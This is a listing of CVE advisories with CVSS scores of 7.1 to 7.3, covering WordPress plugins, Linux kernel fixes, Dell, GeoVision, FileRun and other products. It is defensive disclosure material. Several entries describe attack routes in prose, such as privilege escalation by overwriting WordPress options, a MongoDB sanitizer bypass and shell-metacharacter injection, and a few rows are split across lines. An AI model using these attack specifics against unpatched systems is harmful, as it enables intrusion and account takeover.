CVE-2026-87922	A security flaw has been discovered in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected by this vulnerability is the function DBOperation.addCategory of the file includes/process.php of the component AJAX Backend. The manipulation of the argument userid results in missing authentication. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
CVE-2026-90524	A security flaw has been discovered in jaychouchannel Tourism-Management-System up to 229956e20dbd4a80eeff14535e44d3099502af09. The impacted element is an unknown function of the component Update Endpoint. Performing a manipulation results in missing authentication. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The patch is named 84d8ec384f669df3985293dab293bb7b477efa64. It is suggested to install a patch to address this issue.	7.3	More Details
CVE-2026-78485	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access	7.3	More Details
CVE-2026-87814	SiYuan before v3.8.2 contains a stored cross-site scripting vulnerability in the search asset preview feature that fails to escape indexed asset content before inserting it into the DOM using innerHTML. Attackers who can place crafted text assets in a workspace can execute JavaScript in the SiYuan origin when victims preview the assets, enabling authenticated API requests and workspace manipulation.	7.3	More Details
CVE-2026-90601	A vulnerability was found in getzep graphiti up to 0.30.2. Affected is an unknown function of the file server/graph_service/main.py of the component REST API. The manipulation results in improper authentication. The attack can be launched remotely. The pull request to fix this issue awaits acceptance.	7.3	More Details
CVE-2026-90579	A vulnerability has been found in cheshire-cat-ai Cheshire Cat AI up to 1.9.2. This affects the function _authorize_http_key of the file core/cat/factory/custom_auth_handler.py. The manipulation of the argument user_id leads to missing authentication. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
CVE-2026-90566	A weakness has been identified in Rizwan17 inventory-management-system up to bfe78a330d01bb26b9daec5dc9ecd5c77900e03f. Affected by this vulnerability is the function createUserAccount of the file register.php of the component Registration Handler. Executing a manipulation of the argument usertype can lead to improper authorization. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
CVE-2026-90526	A security vulnerability has been detected in SourceCodester School Registration and Fee System 1.0. This impacts an unknown function of the file /bilal/save_class.php. The manipulation of the argument Category leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used.	7.3	More Details
CVE-2026-79635	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Server-Side Request Forgery (SSRF) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	7.3	More Details
CVE-2026-90509	A weakness has been identified in dromara orion-visor up to 2.5.7. Affected by this issue is the function ExposeApiAspect.beforeExposeApi of the file ExposeApiAspect.java. Executing a manipulation can lead to hard-coded credentials. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
	The Temporary Login Without Password WordPress plugin before 1.9.9 does not verify that the user		

CVE-2026-77752	requesting a temporary login holds network super admin rights before granting the new account those rights, allowing an administrator of a single site on a multisite network to take over the whole network. The same missing check also allows an existing account, including the attacker's own, to be promoted.	7.2	More Details
CVE-2026-81090	The Gpx2Graphics WordPress plugin through 0.3 does not perform a CSRF check when handling file uploads, nor validate the type of the uploaded file, allowing attackers to make a logged-in administrator upload arbitrary files such as PHP via a CSRF attack, leading to Remote Code Execution.	7.2	More Details
CVE-2026-74925	The MultiVendorX WordPress plugin before 5.0.16 does not restrict who can update its role and capability settings, allowing users holding its vendor role to grant that role administrator-level capabilities and take over the site.	7.2	More Details
CVE-2026-88282	GeoVision GV-LPC2211 V1.13 allows an administrator-controlled FTP username containing shell metacharacters to be executed as arbitrary root commands during a subsequent FTP-account update.	7.2	More Details
CVE-2026-83593	The WPBot – AI ChatBot for Live Support, Lead Generation, AI Services plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'conversation' parameter in all versions up to, and including, 8.7.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The action is gated only by a nonce that is localized into every public-facing page via wp_localize_script, rendering the nonce check ineffective as an access control barrier for unauthenticated users.	7.2	More Details
CVE-2026-88276	GeoVision GV-LPC2211 V1.13 allows administrator-controlled WEP key values containing shell syntax to execute arbitrary commands as root.	7.2	More Details
CVE-2026-88275	GeoVision GV-LPC2211 V1.13 allows an administrator-controlled WPA-PSK containing shell syntax to execute arbitrary commands as root when wireless configuration is applied.	7.2	More Details
CVE-2026-88274	GeoVision GV-LPC2211 V1.13 allows an administrator-controlled wireless SSID containing shell syntax to execute arbitrary commands as root.	7.2	More Details
CVE-2026-88273	GeoVision GV-LPC2211 V1.13 allows an administrator-controlled PPPoE username to escape a sourced shell configuration assignment and execute arbitrary commands as root.	7.2	More Details
CVE-2026-26212	Rara One Click Demo Import plugin for WordPress before 1.3.5 contains an arbitrary file upload vulnerability that allows authenticated attackers with Administrator privileges to upload arbitrary PHP files by passing a false value to wp_handle_upload() that disables WordPress core's file type validation checks across all three file parameters in the process_uploaded_files() function. Attackers can upload a malicious PHP file to the uploads directory and execute it over HTTP to achieve remote code execution in the web server process, with the uploaded file persisting on disk even after plugin deactivation and leaving no media library record to evade standard integrity checks.	7.2	More Details
CVE-2026-89242	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a server-side request forgery vulnerability in the _json_decode function that fetches remote URLs and local file paths without SSRF validation. Unauthenticated attackers can POST file paths or HTTP URLs to login.json.php to read local files or access internal services, with results parsed as login credentials.	7.2	More Details
CVE-2026-88272	GeoVision GV-LPC2211 V1.13 allows an administrator-controlled username containing shell metacharacters to be executed as arbitrary root commands when the stored username is later deleted.	7.2	More Details
CVE-2026-73698	FileRun before 2026.3.0 contains a SQL injection vulnerability that allows delegated or simple administrators to execute arbitrary SQL by submitting the description parameter as an array, causing the getValuesString() method in DB/DP.php to interpolate raw array values directly into an INSERT statement without parameterization. Because the underlying PDO connection uses emulated prepared statements enabling stacked queries, attackers can manipulate the df_users_permissions table to escalate a delegated administrator account to superuser privileges, and may additionally achieve code execution via unsanitized path values passed to require_once in the logs listing component.	7.2	More Details
CVE-2026-81825	The Simple Ajax Chat – Add a Fast, Secure Chat Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Chat Message in all versions up to, and including, <= 20260811 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce protecting chat message submission is publicly visible on the chat page, rendering it ineffective as an authentication barrier and allowing fully unauthenticated attackers to submit malicious messages that are stored persistently and rendered to all visitors on every page load.	7.2	More Details

CVE-2026-81754	The Vigilant – 100% Free Security Suite: Firewall, 2FA, Login, Headers, Scanner... plugin for WordPress is vulnerable to Stored Cross-Site Scripting via User-Agent Header in all versions up to, and including, 2.10.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious payload is delivered passively by any unauthenticated visitor who triggers a failed login attempt with a crafted User-Agent header, requiring no further interaction from the attacker once stored.	7.2	More Details
CVE-2026-18579	The WP Photo Album Plus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'HTTP_X_FORWARDED_FOR' parameter in all versions up to, and including, 9.2.08.003 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nonce failure path for the getshortcodedrenderedfenodelay action serves as the log-write trigger rather than an access barrier — a deliberately failed nonce check causes wppa_log() to record the attacker-supplied X-Forwarded-For value to disk, making the exploit fully reachable by unauthenticated callers via the wp_ajax_nopriv_wppa endpoint.	7.2	More Details
CVE-2026-73694	FileRun before 2026.3.0 contains an OS command injection vulnerability caused by a no-op redefinition of escapeshellcmd() in CLI.php that strips shell-metacharacter escaping, allowing attacker-controlled input to reach an exec() sink unsanitized. Attackers can exploit this through an interactive path via image_preview.php with a crafted args parameter requiring superuser authentication, or through a persistent path by storing malicious payloads in thumbnails_ffmpeg_args or thumbnails_ffmpeg_ss that execute when any user triggers video thumbnail generation.	7.2	More Details
CVE-2026-13359	The Contact Form to DB by BestWebSoft – Messages Database Plugin For WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via cntctfrm_contact_dropdown Parameter in all versions up to, and including, 1.7.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected payload executes in the context of an administrator's browser session when they visit the plugin's message manager page at /wp-admin/admin.php?page=cntctfrmtdb_manager, making it possible to compromise administrator-level sessions via a simple unauthenticated contact form submission.	7.2	More Details
CVE-2026-88895	CyberPanel before 3.0.5 fails to enforce two-factor authentication on API endpoints, allowing attackers to bypass TOTP requirements using password-derived tokens. Attackers who obtain an administrator's password can derive API tokens and perform administrative operations or create authenticated sessions without the second factor.	7.2	More Details
CVE-2026-77705	The Booking for Appointments and Events Calendar WordPress plugin before 2.4.10 does not verify that the user editing a customer or employee record is entitled to modify the WordPress account linked to it, allowing users holding Amelia's customer or employee management permissions to set the password and email address of other users' WordPress accounts and take them over.	7.2	More Details
CVE-2026-75927	The PublishPress Capabilities – User Role Editor, Access Permissions, User Capabilities, Admin Menus plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.50.0. This is due to the `addPluginCapabilities()` function unconditionally granting the Editor role all 15 `manage_capabilities_*` capabilities — including `manage_capabilities`, `manage_capabilities_roles`, `manage_capabilities_settings`, and `manage_capabilities_backup` — via a hard-coded `$eligible_roles = ['administrator', 'editor']` assignment that runs automatically on the first `admin_init` after plugin activation with no administrator opt-in, persisting the grants directly to the database. This makes it possible for authenticated attackers with Editor-level access to elevate their privileges to a site-wide capability manager, enabling them to create, rename, and delete non-system roles, modify capabilities of non-administrator roles, restore role backups, and write arbitrary plugin options whose names begin with `cme_`, `capsman`, `pp_capabilities`, or `presspermit` via `update_option()`. The escalation stops short of full Administrator access, as WordPress's `map_meta_cap` layer still prevents the escalated Editor from granting administrator-only capabilities to other roles; however, all role-management and plugin-settings functionality gated solely on `manage_capabilities_*` capabilities remains fully accessible.	7.2	More Details
CVE-2026-14989	The Cookie Banner for GDPR / CCPA – WPLP Cookie Consent plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpl_user_preference' parameter in all versions up to, and including, 4.4.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The consent-logging AJAX endpoint is registered for unauthenticated users and its required nonce (wpl_consent_logging_nonce) is publicly emitted via wp_localize_script on the frontend, meaning any unauthenticated site visitor can plant a payload without any prior authentication or privileged access.	7.2	More Details
CVE-2026-87021	Tanium addressed an unauthorized code execution vulnerability in Comply.	7.2	More Details
CVE-	The WP EasyCart plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.9.3. This is due to the ec_ajax_save_page_default_options() AJAX handler iterating over every $_POST key and passing it directly into update_option() without any allowlist, while gating the handler only on 'manage_options' OR the plugin's custom 'wpec_manager' capability. The plugin's built-in		More

2026-17553	'wpec_store_manager' role holds 'wpec_manager' but not 'manage_options', and the required nonce is emitted on frontend product/category templates that render for any user with 'wpec_manager'. This makes it possible for authenticated attackers, with Store Manager-level access and above, to elevate their privileges to administrator by updating arbitrary WordPress options such as default_role='administrator' and users_can_register='1', then self-registering a new account that is assigned the administrator role.	7.2	Details
CVE-2026-84293	The Repeater Fields for Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Repeated Multi-Input Sub-Field Values in all versions up to, and including, 3.0.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability only affects multi-input sub-field types within a repeater (such as Name, Address, and Checkbox fields), as scalar single-input field values are escaped with esc_html() at the output stage in version 3.0.4.	7.2	More Details
CVE-2026-73699	FileRun before 2026.3.0 contains a PHP object injection vulnerability that allows authenticated attackers to execute arbitrary code by exploiting incorrect options passed to unserialize() in the Perms::getPerms() method, where a positional array is used instead of the required named-key array to disable class instantiation. Attackers with database write access can inject a serialized gadget chain into the permissions table columns processed on every authenticated page load to write arbitrary files, such as PHP webshells, to web-accessible paths.	7.2	More Details
CVE-2026-79972	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	7.2	More Details
CVE-2026-17037	The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘comment’ parameter in all versions up to, and including, 6.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	7.2	More Details
CVE-2026-23855	Dell iDRAC9, 14G versions prior to 7.00.00.184, 15G/16G versions prior to 7.30.10.50, and Dell iDRAC10, 17G versions prior to 1.30.30.50, contain an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to command injection.	7.2	More Details
CVE-2026-76562	The Sidebar Manager Light plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sbm_description' parameter in all versions up to, and including, 1.18 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	7.2	More Details
CVE-2026-81431	The Registration Form for WooCommerce WordPress plugin before 1.1.3 does not validate that the form referenced during registration is a legitimate registration form, reading the permitted-role allow-list from an arbitrary attacker-controlled post instead. A user able to create a post (Contributor and above) can therefore register a new account with an arbitrary role, including Administrator, leading to full site takeover. This is an incomplete fix of CVE-2026-54807.	7.2	More Details
CVE-2026-80071	The User Registration & Membership WordPress plugin before 5.2.8 does not properly restrict who may author a membership plan or validate the plan a user attaches to their own account, allowing authenticated users with Author-level access and above to assign themselves an arbitrary role and escalate their privileges to Administrator.	7.2	More Details
CVE-2026-73769	A vulnerability in the web-based management interface of vulnerable CPPM systems could allow an authenticated remote attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.	7.2	More Details
CVE-2026-73787	A vulnerability in the CPPM web interface could allow an authenticated remote attacker to access directory information on a vulnerable system. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.	7.2	More Details
CVE-2026-84816	Unauthenticated Cross Site Scripting (XSS) in WPCS <= 1.3.2 versions.	7.1	More Details
CVE-2026-85545	There is an Vulnerability in some HikCentral Access Control versions. Authenticated low-privilege users can invoke API interfaces that their role is not authorized to access.	7.1	More Details
CVE-2026-81007	In the Linux kernel, the following vulnerability has been resolved: ipmi: ipmb: validate write message length ipmb_write() read message fields before validating the length byte. A zero or short write can read uninitialized stack bytes. A length smaller than the SMBus header underflows the block write length. Require a non-empty buffer and the minimum IPMB request length. Also require the length byte plus payload before parsing the message.	7.1	More Details

CVE-2026-78134	strongSwan 4.5.0 through 6.0.7 has Incorrect Access Control in the eap-ttls and eap-peap plugins because there can be a missing or mismatched inner EAP identity.	7.1	More Details
CVE-2026-89608	In the Linux kernel, the following vulnerability has been resolved: ecryptfs: pass packet set buffer size to parser ecryptfs_parse_packet_set() receives a pointer into the file header, but it calculates the remaining packet buffer size from PAGE_SIZE - 8. For version 1 headers the packet set starts later in the header, so this can overstate the available buffer. Pass the actual packet set buffer length from the caller and calculate per-packet limits from the remaining bytes in that buffer. Recompute the remaining length after consuming a tag 3 packet before parsing the following tag 11 packet.	7.1	More Details
CVE-2026-81011	In the Linux kernel, the following vulnerability has been resolved: platform/x86: hp-bioscfg: pass validated element count to package parsers The per-type package parsers are handed the wrong element count. hp_init_bios_package_attribute() validates obj->package.count and then calls one of the five hp_populate_*_package_data() wrappers (string, integer, enumeration, ordered list, password). Each wrapper forwards a count to its hp_populate_*_elements_from_package() parser, but instead of forwarding the validated obj->package.count it derives the count from elements[0]. elements[0] is the NAME field and is always an ACPI_TYPE_STRING, so reading ->package.count from it in fact reads ->string.length through the union acpi_object. The parsers thus bound themselves against the length of the name string rather than against the real number of elements in the package. This is safe today because hp_init_bios_package_attribute() refuses any package that has fewer than the type's element count, so a parser only ever runs on a full package and never reads past it regardless of the bogus bound. An upcoming change relaxes that check to accept shorter packages. Once a parser can receive fewer elements than its per-type count, a bound taken from the name length no longer reflects the array size, and the "elem < count" loop conditions and "elem + n >= count" sub-loop guards read past the end of elements[] - an out-of-bounds heap read. Forward the validated obj->package.count to every *_package_data() wrapper so the parsers bound themselves against the real package size. This does not change behaviour for the packages that enumerate correctly today and is a prerequisite for accepting shorter packages safely.	7.1	More Details
CVE-2026-87072	Tanium addressed an improper access controls vulnerability in Comply.	7.1	More Details
CVE-2026-81795	Unauthenticated Cross Site Scripting (XSS) in Page Visits Counter – Lite <= 1.2.3 versions.	7.1	More Details
CVE-2026-89011	isomorphic-git before 1.42.0 contains a prototype pollution vulnerability in the getRemoteInfo function that allows a malicious Git server operator to pollute Object.prototype by advertising crafted ref names containing '__proto__' path segments during ref negotiation. Attackers controlling a Git server can advertise a specially crafted ref such as '__proto__/corsProxy' to reroute all subsequent network operations through an attacker-controlled proxy, causing isomorphic-git to invoke the victim's onAuth callback and transmit credentials to the attacker when the victim calls getRemoteInfo with an attacker-supplied URL.	7.1	More Details
CVE-2026-87961	ESP32-audioI2S versions 3.4.4 through 4.0.0 contain a heap-based out-of-bounds read vulnerability in the read_ID3_Header function due to a shadowed length parameter in ID3 synchronized-lyrics processing. Attackers can craft malicious MP3 files or HTTP audio streams with oversized frame size declarations to read past allocated buffer boundaries, causing device crashes or exposing adjacent heap memory.	7.1	More Details
CVE-2026-87821	Lara Dashboard through 1.3.1 contains a server-side request forgery vulnerability in the POST /api/admin/builder/markdown/fetch endpoint that allows any authenticated user to fetch arbitrary URLs and read the response body. Attackers can read internal HTTP services and cloud metadata including IAM credentials by supplying malicious URLs without host validation or redirect restrictions.	7.1	More Details
CVE-2026-86759	Snipe-IT versions before 8.7.0 fail to authorize the POST /hardware/history endpoint, allowing any authenticated user to reassign arbitrary assets and modify audit logs. Attackers can submit a CSV file to reassign assets across companies and inject fraudulent audit trail entries, compromising inventory integrity and accountability.	7.1	More Details
CVE-2026-89691	In the Linux kernel, the following vulnerability has been resolved: nfsd: clear opcnt on compound arg release to prevent OOB read nfsd4_release_compoundargs() resets args->ops to the inline iops[8] array when the dynamically-allocated ops buffer is freed, but leaves args->opcnt at its original value (which can be up to 200 for NFSv4.1+ compounds). If rq_status_counter is stuck at an odd value (which can happen when nfsd_dispatch() hits an error path after setting it odd), the RPC status dumpit handler reads min(opcnt, 16) entries from args->ops[]. Since iops only has 8 elements and is the last field in struct nfsd4_compoundargs, reading indices 8-15 accesses adjacent slab memory and leaks it to userspace via netlink. Zero opcnt unconditionally in nfsd4_release_compoundargs() so stale compound metadata is never exposed through the status interface. [cel: Remove the kvfree_rcu_mightsleep() sleep from the exposure window]	7.1	More Details
	Shelf is a platform for tracking physical assets. Prior to version 1.20.3, authenticated users with the `asset:import` permission can trigger server-side HTTP requests to attacker-controlled URLs through the		

CVE-2026-54166	Asset CSV Content Import feature. The `imageUrl` validation logic can be bypassed through multiple techniques, including image-extension suffixes, image-related path keywords, domain substring matching, and redirect chains. After validation, the server performs an unrestricted `fetch()` request to the supplied URL. This results in a Server-Side Request Forgery (SSRF) vulnerability that allows attackers to reach internal network services, cloud metadata endpoints, and arbitrary external hosts from the application's network context. Additionally, response bodies are fully buffered before size validation, creating a potential memory exhaustion vector. Version 1.20.3 patches the issue.	7.1	More Details
CVE-2026-87803	An authorization bypass vulnerability exists in the Countly Server DBViewer due to flawed sub-pipeline detection in the aggregation stage sanitizer. The /o/db aggregation endpoint parses user-controlled aggregation JSON and passes it through a stage sanitizer that determines whether a nested array is a sub-pipeline by checking if every element contains a key present in a hardcoded KNOWN_STAGE_OPERATORS set. If any element contains an unrecognized stage key, such as the undocumented MongoDB-internal $_internalInhibitOptimization, the sanitizer misclassifies the entire branch as a generic array and skips stage-level stripping for all sibling stages. This allows a non-admin user with DBViewer read permission to inject forbidden operators like $lookup inside $facet sub-pipelines, performing cross-collection joins into restricted collections. This leads to unauthorized read access to sensitive data including password-reset tokens (prid), enabling account takeover.	7.1	More Details
CVE-2026-80958	In the Linux kernel, the following vulnerability has been resolved: dm-pcache: clamp the tail kset read to the segment data region The tail-kset read in cache_replay(), the writeback worker and the GC worker bounds its length by PCACHE_SEG_SIZE - seg_off, the raw segment size rather than the data region. A tail near the segment end reads past the segment data into the following control area. Clamp the read to cache_seg_remain(), the data region.	7.1	More Details
CVE-2026-18994	A potential improper authorization vulnerability was reported in the Lenovo File Manager Android Application, distributed exclusively in the Chinese market, that could allow a local authenticated user to read or modify protected files within the application.	7.1	More Details
CVE-2026-89065	Relative path traversal in the generated file manifest cleanup component in projen before 0.101.37 might allow context-dependent attackers to recursively delete files and directories outside the project directory that are writable by the environment running projen, via crafted entries in the version-controlled generated file manifest that is consumed during project synthesis. To remediate this issue, users should upgrade to version 0.101.37. The corrected containment check is automatically applied by the projen runtime next time you run it.	7.1	More Details
CVE-2026-88870	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site request forgery vulnerability in the LoginControl plugin PGP key endpoints that lack CSRF token validation. Attackers can craft malicious pages with image tags pointing to savePublicKey.json.php to replace a logged-in victim's PGP 2FA public key, causing lockout or enabling account takeover if the attacker knows the password.	7.1	More Details
CVE-2026-88872	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site request forgery vulnerability in the setPassword.json.php endpoint that allows unauthenticated attackers to modify any user's channel password by sending a GET request. Attackers can craft a malicious webpage that, when visited by an authenticated administrator, sets or clears any user's channel password without CSRF token validation.	7.1	More Details
CVE-2026-88873	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site request forgery vulnerability in view/logArchive.json.php that allows unauthenticated attackers to archive application logs by making GET requests without CSRF token validation. Attackers can craft malicious pages that trigger administrators' browsers to request the endpoint, copying sensitive application logs to a publicly accessible zip file and truncating the live log to remove forensic evidence.	7.1	More Details
CVE-2026-81783	Subscriber Broken Authentication in MailMunch – Grow your Email List <= 3.2.5 versions.	7.1	More Details
CVE-2026-89705	In the Linux kernel, the following vulnerability has been resolved: nfsd: restore rq_status_counter to even on all nfsd_dispatch() exit paths nfsd_dispatch() sets rq_status_counter to an odd value once a request has been decoded, and back to an even value once it has been fully processed, forming a seq-lock like protocol with the lockless reader in nfsd_nl_rpc_status_get_dumpit(). Only the fully successful path restored the counter to even. The cache-hit (RC_REPLY), drop (RC_DROPIT / RQ_DROPME) and encode-error paths all return after the odd-valued store without ever bringing the counter back to even. Once one of those paths is taken, rq_status_counter is left odd: the next request's decode ORs in 1 (still odd) and only a subsequent successful encode restores even. While stuck odd, the dumpit reader treats the rqstp fields as stable and its retry check compares against the same unchanging odd value, so it never detects concurrent mutation. This exposes actively mutating fields (e.g. args->ops / args->opcnt during compound decode and release) to the lockless reader, which can read past the end of the 8-element inline ops array. Add a helper that advances the counter to the next even value and call it on every return path that follows the odd-valued store. The decode-error path is left untouched as it is reached before the counter is set odd.	7.1	More Details
CVE-2026-	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote attacker to perform unauthorized actions due to cross-site request forgery.	7.1	More Details

80380			
CVE-2026-89593	In the Linux kernel, the following vulnerability has been resolved: hugetlb: only adjust reservation during unmapping if mapcount is 0 Since df7a6d1f6405, __unmap_hugepage_range can adjust reservations. In the case of folio mapped in both a parent and a child, if the parent unmaps the range first, the reservation adjustment will result in an underflow of the reserved count. Once the child unmaps the range, the count is restored. Change __unmap_hugepage_range() to check the mapcount before adjusting the reservation.	7.1	More Details
CVE-2026-78807	An issue in wpa_supplicant all versions before v.2.12 allows a local attacker to bypass proper network context and AKMP matching for PMKSA caching via missing validation in the driver based PMKSA selection path in wpa.c	7.1	More Details
CVE-2026-88048	Tesseract is an open source OCR engine. In version 5.5.3 and earlier, FullyConnected::DeSerialize in src/lstm/fullyconnected.cpp does not validate the deserialized layer scalars ni_ and no_ against the weight-matrix dimensions. During FullyConnected::Forward, MatrixDotVector in src/lstm/weightmatrix.cpp writes w.dim1() results into temp_line, which is sized from no_, and reads w.dim2() minus one inputs from curr_input, which is sized from ni_. A crafted .traineddata NT_SOFTMAX layer can therefore use inconsistent dimensions to cause a heap out-of-bounds write and read on the default LSTM engine, resulting in heap corruption, a crash, information disclosure, or potentially controlled corruption. No fixed release is available as of this review.	7.1	More Details
CVE-2026-89731	In the Linux kernel, the following vulnerability has been resolved: cxl/ras: Fix cxl_rch_get_aer_info() out-of-bounds AER register read cxl_rch_get_aer_info() copies the RCH Downstream Port AER capability from the RCRB MMIO block using a readl() loop bounded by sizeof(struct aer_capability_regs). This struct is a software layout and its embedded struct pcie_tlp_log is larger than the on-wire AER capability. As a result the loop reads past the mapped AER register block. The over-read also populates the software-only tail fields including header_log.header_len. An out-of-range header_len passed to pcie_print_tlp_log() can then loop past the header log buffer and cause a second out-of-bounds read. The read was correct when introduced, but struct pcie_tlp_log has since grown (Header Log and TLP Prefix Log sizes, header_len and flit fields), so sizeof(struct aer_capability_regs) no longer matches the physical AER capability. Bound the read to the physical AER registers, header through the 16 byte Header Log. Zero the destination first so the software-only fields are deterministic.	7.1	More Details
CVE-2026-84819	Unauthenticated Cross Site Scripting (XSS) in WPAdverts <= 2.3.3 versions.	7.1	More Details
CVE-2026-89596	In the Linux kernel, the following vulnerability has been resolved: forcedeth: fix off-by-one when saving/restoring non-PCI config space nv_suspend() and nv_resume() walk the non-PCI configuration space with for (i = 0; i <= np->register_size/sizeof(u32); i++) which runs one iteration too many. saved_config_space is declared as u32 saved_config_space[NV_PCI_REGSZ_MAX/4]; and NV_PCI_REGSZ_VER3 is equal to NV_PCI_REGSZ_MAX (0x604), so on a VER3 device register_size/sizeof(u32) is exactly the array length and the last iteration addresses one element past the end. The element it lands on is np->name_rx[0..3]: saved_config_space[] is followed immediately by char name_rx[IFNAMSIZ + 3], and char needs no padding. Nothing observable is corrupted by that, because nv_request_irq() rewrites name_rx with sprintf() before it is ever passed to request_irq(). The bug is the out-of-bounds access itself, which UBSAN reports and which CONFIG_UBSAN_TRAP=y turns into a trap that aborts the running kernel code, plus an MMIO read and, on resume, an MMIO writel() to base + 0x604, one dword past the range the driver mapped: np->base = ioremap(addr, np->register_size); VER1 and VER2 devices stay inside the array, but they too get the stray read and the stray write one dword past their own window. Caught by UBSAN on an Apple Macmini3,1 (MCP79) during a deep S3 cycle. The splat below is trimmed: the build path in the file name, the CPU and taint lines, the Workqueue line, the "?" hint frames, and the frames below device_suspend are all cut. The kernel was tainted, with an out-of-tree nouveau and CPU_OUT_OF_SPEC; forcedeth itself was the stock module. UBSAN: array-index-out-of-bounds in drivers/net/ethernet/nvidia/forcedeth.c:6225:25 index 385 is out of range for type 'u32 [385]' Call Trace: dump_stack_lvl+0x5d/0x80 ubsan_epilogue+0x5/0x2b __ubsan_handle_out_of_bounds.cold+0x54/0x59 __this_module+0xe398c/0xe9010 [forcedeth] pci_pm_suspend+0x80/0x170 dpm_run_callback+0x51/0x160 device_suspend+0x1a2/0x4a0 ... Both loops are hit. UBSAN reports each source location only once per module load (__ubsan_handle_out_of_bounds() calls suppress_report(), which does test_and_set_bit(REPORTED_BIT, ...) on the struct source_location), so the two splats land in the first S3 cycle after the module is loaded and later cycles are silent even though the access still runs off the end every time. In that first cycle line 6225 is reported from pci_pm_suspend and line 6240 from pci_pm_resume. The same off-by-one was fixed in nv_get_regs() by commit ba9aa134287f ("forcedeth: fix buffer overflow") in 2012; these two loops were missed. The suspend and resume side was reported on LKML in September 2013 by Marc Weber, with the same analysis and the same one-character fix, but the patch was attached rather than sent inline and the thread ended there. Use < instead of <=, which saves and restores exactly register_size bytes.	7.1	More Details
CVE-2026-	rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.75.1, when backend/local runs with --links, a source .rclonelink object can plant a symlink in the destination and later directory metadata is applied through that path. MkdirMetadata, writeMetadataToFile, and setTimes operate when Directory.translatedLink=false, so os.Chown, os.Chmod, os.Chtimes, and birth-	7.1	More

88016	time handling can bypass os.Root confinement and follow the symlink. An attacker controlling source contents can therefore apply selected ownership, permissions, modification times, or birth times to a file or directory outside the destination, with --metadata required for chmod and chown while modification time is applied by the normal directory workflow. This issue is fixed in version 1.75.1.		Details
CVE-2026-79617	Incorrect Permission Assignment for Critical Resource vulnerability in TÜBİTAK BİLGEM Software Technologies Research Institute Pardus LightDM Greeter allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Pardus LightDM Greeter: before 0.4.15.	7.1	More Details
